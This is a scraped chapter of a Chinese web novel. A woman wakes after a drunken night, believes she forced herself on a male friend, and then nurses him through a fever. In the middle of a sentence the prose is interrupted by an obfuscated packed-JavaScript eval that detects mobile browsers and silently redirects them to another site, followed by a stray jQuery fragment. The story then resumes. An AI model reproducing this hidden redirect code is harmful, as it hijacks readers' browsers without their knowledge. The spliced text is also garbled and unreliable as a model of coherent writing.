65. 六十五

作品:《生活玩家,你好[全息]

    每一次被夜雨滋润后的清晨,空气总是格外清新。而每回雨夜,笑笑总是睡得格外舒坦,早晨醒来总会抱着被子,由心至身发出舒服的喟叹。


    不过今儿早上,精神虽觉格外舒爽,身上的感觉,显然并不能与精神之爽利相匹配。


    “哎呦喂~”


    眼都还没睁开,笑笑就扶着老腰叫开了,也不只是腰酸,是身上哪哪儿都不得劲儿,连眼皮子都像是被上了胶水一样,酸涩又难以睁开。


    这一觉睡得,整个人都快要散架了,要真说是怎样的难受,就同她在暮夜里,举枪连着跟人家怼了三天三夜,卸下亢奋过头的劲儿之后一样一样儿的!


    “嘶!”一动弹一翻身,笑笑更是差点在大清早上骂娘,她这胯咋这么疼啊?特喵的,这比起她第一次去人家庄园,不听劝,可劲跑了一整天马之后还要疼!


    不是,她昨儿是干什么了来着?


    好容易睁开了眼,笑笑望着天花板,扒拉着有些模糊的记忆开始怀疑人生,就两瓶啤酒而已,就给她干成...这...样..


    随着越加清醒而愈发连贯的思维又开始卡壳,她跟个要断电的机器人一样,一个动作一卡顿,几乎花去将近一个世纪,才将将转过脑袋,看向里侧。


    “咕嘟!”


    重重的,艰难干咽唾沫的声音格外响亮,即便笑笑很不想承认,也无法将眼前看到的,再如昨夜般当作一场结束不了,也不愿结束之梦境....


    随着她转过头,映入眼帘第一幕,就是缩在另一边床边肖柏迌那...光溜溜后背露出的大片肌肤!


    而他原本白皙光洁的背部,被大片大片快要变成深茶色的红紫痕迹染的斑驳,简直找不到一块好地儿。


    笑笑的眼神好到她没法儿骗自己这是对方摔出来的,因为那上面间或还能看到大大小小,深深浅浅的牙印呢,什么人摔跤能摔成这样?


    因她的动作,还有淡淡的,如同剥完荔枝又去捻了盐的手指头散发出来的味道,从被子里一个劲儿在往她的鼻孔里钻。


    天!笑笑有些崩溃,她们俩的洗漱用品,它就没这个味儿啊!


    很显然的事实摆在眼前.....她昨儿晚上,借着两瓶啤酒,当真给人衣服剥了!并且,还多干了些特别欺负人的混蛋事!


    这一切的一切都告诉她,事情,有些大条了!


    下意识伸手给那似乎还睡着,眼看一点动静没有的人把被子拉好,就这么点动作,那有些陌生的味道愈发冲鼻,冲得她懵懵转回脑袋,愣愣盯着天花板发呆。


    但是她想发呆,想逃避,脑子却自发的,开始努力帮她回忆昨儿晚上到底发生了什么。


    ‘笑笑,你不要这样’


    ‘求你了,放开好不好?’


    ‘我,我受不了了,呜嗯~’


    ...伴随着这些求饶哭诉的话语,还有高高低低,由呻吟组成的,多听一会必能让人气血上头,鼻血横流的绝妙乐章,争着抢着,一股脑霸占了笑笑空荡荡什么也不想装的脑子。


    当然,如果说昨儿晚上听到这些,她满脑子只有兴奋与激动,那现在回忆起来,这些情绪还有没有不知道,反正她的脸是一下子就绿了!她,她咋不知道自己居然这么禽兽....


    不,笑笑抚着额,发出代表着苦恼与郁闷的呻吟,她想问,就她这样可恶的,这世上哪种禽兽能与她相提并论?


    酒色误人呐!


    笑笑心中弥漫着淡淡的绝望与尴尬,耍酒疯耍成她这样也是没谁了!她现在要不要报警把自己给送进去?


    话说,她昨天到底是哪根筋搭错了,为什么要....


    嗯?


    卧槽!


    笑笑当即顾不得腰酸背痛腿抽筋,一下子就从床上蹦起来,跑了两步才觉到身上到处漏风..


    废话,整个光溜溜的,哪里能藏风?不过当下她也顾不得自己是不是裸奔什么的,最多,也就是随手就把沙发上整齐搭着的睡衣抽了来披上,匆匆忙忙就在一步一抽抽脸的酸爽痛感中冲出房门,奔向阳台。


    “呼!”


    看到阳台乱七八糟一如模糊映像中的样子,笑笑长舒了一口气,还好,还好,昨晚上估计是因为她造孽,柏迌才没发现这边的东西!


    现在她也不知心中该庆幸,还是要继续对自己的无耻行径进行私底下的自我批斗了。


    不管心中是咋个想的,她蹑手蹑脚,跟做贼一样,悄摸摸回自个儿房间门口,探头往里瞧了瞧人,发现里边人还是以那个姿势蜷在那儿,看样子没被她搞出来的动静闹醒,忙又悄悄带上门,只留了个小缝就赶紧跑阳台收拾残局去了。


    忍着浑身各处泛着的酸疼难当,以及每一步交换间带出介于粘腻与半干涩之中的难受劲儿,她弯腰把阳台每个角落都仔细找了一遍...


    反复确定没有遗漏,她才把桌上药瓶子拧好复归原位,酒瓶子和脏药丸子给全丢垃圾桶,又绑好袋子放一边,其它东西统统一摞,丢去它们该待的书房柜子里!


    好,搞定,完全没有一丝痕迹!站在书房门口,笑笑自我肯定完,又觉有些不对...


    呃嗯...她挠了一把乱发,又返回去,拎着那刚到手的硕士证,往厅里格物架上往常随手放文件的地方一丢...啧,她终于是点点脑袋,这才对头了。


    潜在超级重大危机被彻底消灭无踪迹,笑笑一下子松懈下来,塌着肩在房门口磨蹭了两下,到底想着伸头是一刀,缩头也是一刀,于是一咬牙,一跺脚,她吸了口气,伸手开了门就往里走。


    才进房间,她的脚步就是一顿。


    “醒了?”笑笑缓缓走到床边,慢慢蹲下,目光落在那一见到自己就立刻垂下眼皮的人身上,落在他那不断颤抖的眼皮上,咽了口干巴巴泛着苦的唾沫,艰难开口道歉:“柏迌,对不起,昨天晚上...我..”


    对上因自己的话语而抬起眼眸,静静看着自己的人那格外安静的目光,她觉得自己办这事儿吧,真的,越发变得难以启齿!


    尤其是想到眼前人才从从前阴影中走出来多大会?最近才感觉好上不少,这就又给她狠狠背刺这么一道,她现在就想给自己狠揍一顿。


    纵是心中再多抱歉,诉之于口也怎么都显得轻薄,笑笑想了想,发生这种事,这人肯定再不想看见自己的,于是直接道:


    “抱歉,我等会就走,以后绝对不会再出现在你面前!


    当然,你..你以后要有什么不好解决的事都可以找我,要是...要是不想联系我,也可以让你竹签哥他们帮忙,我知道了一定帮你搞..”


    紧紧攥着被角的肖柏迌眨去眼中迅速泛起的水雾,声音沙哑,却蕴含着止不住的颤抖与压抑之怒气:“怎么,你都,你都那样对我了,你还想一走了之?”


    都这样了,他们都这样了,该做的不该做的全都做完了,就这样,她还是想要...想要..撇下所有吗?肖柏迌心中升腾起数不清的绝望。


    确实,笑笑深深的叹了口气,她昨天真的很过分,被那样对待的要是换成她,那她高低得给人往死里打一顿,再丢监狱里去好好反省!她低下头,很诚恳的说:


    “是,对不起,我这就去自首。”做人不好双标,宽以待己严于律人是不对的,总不能轮到她自己犯错了,就因为两人本来关系好,又欺负柏迌抹不开面子,就松松揭过!


    无法挽回的伤害已经造成,该咋办她还是不要抱有侥幸与企图逃避惩罚的心理,才是正经认错道歉与弥补的做法!


    肖柏迌心里憋了一晚上加大半个上午的复杂情绪,在听到笑笑这一句话的时候,直涌上脑全化为一股无法发泄的怒火,他腾一下坐起,嘶声力竭的问出心底里酝酿成型的绝望:


    “严笑笑,你就讨厌我到这个地步吗!到现在你第一时间想的还是怎么甩掉我?那你为什么要救我,为什么啊!你告诉我啊!严笑笑,你告诉啊!”


    真的,好可笑!这句话问出,肖柏迌便自觉如同上了刑场,一点点碾碎尊严祈求获得侩子手怜悯,却最终主动将头颅送进绞刑架中的犯人,他在心中嘲笑自己,是啊,这人从来都把他当成弟弟,他到底还在挣扎期望什么?


    “我!”笑笑吃了一惊,她不是那个意思,她怎么可能会讨厌他?她伸手过去想要扶一扶有些坐不稳的人,手却被狠狠拍开。


    她有些局促,甚至于不知所措的站起来,想想还是要解释一下,自己犯的错误是很有必要接受惩罚的:“柏迌,我强..”


    “你强什么?强迫我?”肖柏迌摇着头,生硬咽下冲到喉边的那一句,难道你就没看出我有多喜欢你,有多想要和你亲近的质问。


    现在问这个又有什么意义?让事情变得更糟么?还是让他把自己那所剩无几,破碎又可笑的尊严捧到眼前这个,从来都在回避他感情的人手上,让她再毫不留情的伸手碾成随风去的粉尘?


    是的,直到这一刻,肖柏迌才不再自欺欺人,眼前这人,一直一直,都在明白的回避他的感情,对方一直挂在嘴中的姐姐弟弟,很显然,从来都是对他直白而又委婉的拒绝。


    可是,这又如何?他想到昨晚在阳台看到的一切,眼中神色慢慢坚定,事情既然已经到了这一步,但凡有效果,他纵是变成卑鄙无耻又下流的坏人又如何?


    不管笑笑到底为什么要走,如今就当作,是他留恋人世,是他承受不了孤独,便要强留下她长久陪伴自己的自私吧!


    他嘴角扬起一点笑意也没有的弧度,硬逼着自己看向笑笑,指着上半身沉淀了一个晚上的暧昧痕迹,一字一句的问:“笑笑,我只问你,你要不要对我负责?”


    听着洗手间传来隐约水声,肖柏迌看向窗外的眼里,有泪水在模糊视线,明明得到了超出预期的保证,为什么他一点也开心不起来?


    洗手间里,淋浴间在放着水,笑笑却站在洗手台前面,愣愣看着紧握成拳的手心。薄薄的指甲嵌在肉里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611024|165769||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,很疼...是的,是很真实的疼痛。


    上辈子?或者是另一个现实,还是该说...


    那才是不真切的梦幻?反正有关于那些的记忆,随着她在这一现实年龄越长,已经越来越模糊了。


    便是连最深切的执念,也已在昨日,就着今世所有成就的证书喝下肚那两口酒里,消弭殆尽!


    她抬眼看向镜子,在那里面,她看到的,不是自己的样貌,而是与这一门之隔的少年那双含着倔强悲伤,而又孤注一掷的执着泪眼。


    就算,就算这才是梦幻,她,还有勇气和欲望,抑或是...必要,再去挣脱吗?


    镜中人眼中透出的无限留恋让她分外狼狈的撇开头,扭身走进了温热淋浴间内。


    闭上双眼,她静静仰着头,感受花洒里喷出细细密密的水线那与肌肤相触,无比真实细腻的感觉,自嘲的笑于无声中放大。


    如果这就是小说修仙世界里,那些所谓的历练,那她这样怕死又胆小到懦弱的菜鸡,大概,只适合把命葬在这里,给后来人做一个反面教材吧?


    ....


    洗去一身粘腻疲惫,她已经调整好心情,再打开门,她就又是那个眉眼总是带着笑,从不知伤感忧愁的严笑笑。


    看到肖柏迌还是那个姿势坐在那,笑笑皱起了眉:“柏迌,你怎么还这样坐着呢?现在还没到能光着胳膊的时候,你这样会着凉的!”


    她赶忙走过去,拉着被子的手一碰到肖柏迌的皮肤就吓了一跳:“我去,怎么这么烫?”她忙伸手绕到前面去探了探他的额头。


    天!这温度,都可以煎蛋了!


    “你这是发高烧了,我去给你把衣服拿来,必须要去诊所看看!”造孽哟她这是,昨儿晚上她是不敢仔细去想,但昨儿早上人都还好好的,这肯定是她弄的呀!


    啧啧,一晚上给人搞成高烧,她那不是造孽是什么?


    肖柏迌拉着她,鼻音厚重的说:“我没事,就是有点没睡好,等会再睡一觉就好了。”


    “你都烫成这样了还没事?听话,咱们去看一下。”看着他还有些抗拒,笑笑又补充道:“你这样我看着也难受,回头医生要说没事了我才能放心。”


    她掰着人的脑袋就想给他转过来,但肖柏迌就是僵着脖子,只说:“不要,我要去洗澡,身上又黏又干的,好难受。”


    嘴上说着要去洗澡,他却勾着头,懒懒的在往被子里滑进去。


    “我去拧毛巾来帮你擦一下,要洗也得等好一点再说。”看这人把所有的倔强叛逆都用在了这一会,笑笑干脆就准备自己上手。


    肖柏迌抱着被子把自己连脸也挡的严严实实,说什么也不肯就范,必须要自己去洗。


    拧又拧不过他,笑笑叹了口气,转身就去洗手间把浴巾拿来,从缝隙探进被子,摸索着裹在他身上。


    在强拉他出了被窝,才不小心看到他一直闪躲着不愿意正面对上她的脸上,那愈发红肿的双眼,她愣了一下,在心里叹了口气,面上就当没看到,继续半抱半扶着他下床。


    一开始他还不肯,勾着脑袋非闹着说自己可以,结果脚一沾地就险些一屁股软倒在地上。


    笑笑忙揽着他的腰给人带稳了,边把他送去洗手间边嘱咐:“你就在我这儿洗,门别锁啊,我等会要给你递衣服的,有什么事就喊我一声。”


    她们这小区附近有个中西结合的诊所,不算大,但里边各个儿都是好手。


    一般来说,这人呐,一旦哪方面有点小牛逼,那总会有点自己的小怪癖,诊所这样的整体也不例外。这里边看病呐,要么你别来,要来,那就只给盲号,不能挑人。


    今儿给肖柏迌看的,就是个起手喜欢把脉的老西医,摸着脉,他边问了两句,看了两眼,刷刷两下给笑笑发了个药单。


    然后抬了抬鼻梁上圆圆的无框眼镜,看了眼很没精神,软软靠在笑笑身上的肖柏迌,笑眯眯的对笑笑说:


    “他没什么事,就是有点着凉加气虚。吃点退烧药,回去好好睡一觉,发发汗,着凉也就好了。至于气虚嘛..”


    老先生觑了肖柏迌这个看起来乖乖巧巧的后生一眼,还是把含着告诫与提醒的眼神放回了笑笑身上:


    “保持放松的好心情,照着我这个药呢,喝上两副,平常再多锻炼锻炼,歇一段时间也就没事了,不是什么大问题。只是啊,女娃子,这玩儿啊,还是要克制一点,才能长久。”


    呃...


    饶是笑笑脸皮够厚,这方面毕竟还是个纯纯大新人,被这医生一调侃,面上也老大有些挂不住,忙忙的接过药单子,连问人家这西医怎么给开中药的事都一下给抛到不知哪儿去了,掺着肖柏迌起身往外跑的飞快。


    倒是迷迷倒倒又单纯的肖柏迌压根啥也没听明白,垂着头靠着她,那是满脑子只顾着跟上她格外急切又不敢迈太快的脚步,对西医老先生的话,还有身后毫不掩饰的戏谑笑声,那是一点额外反应也没有。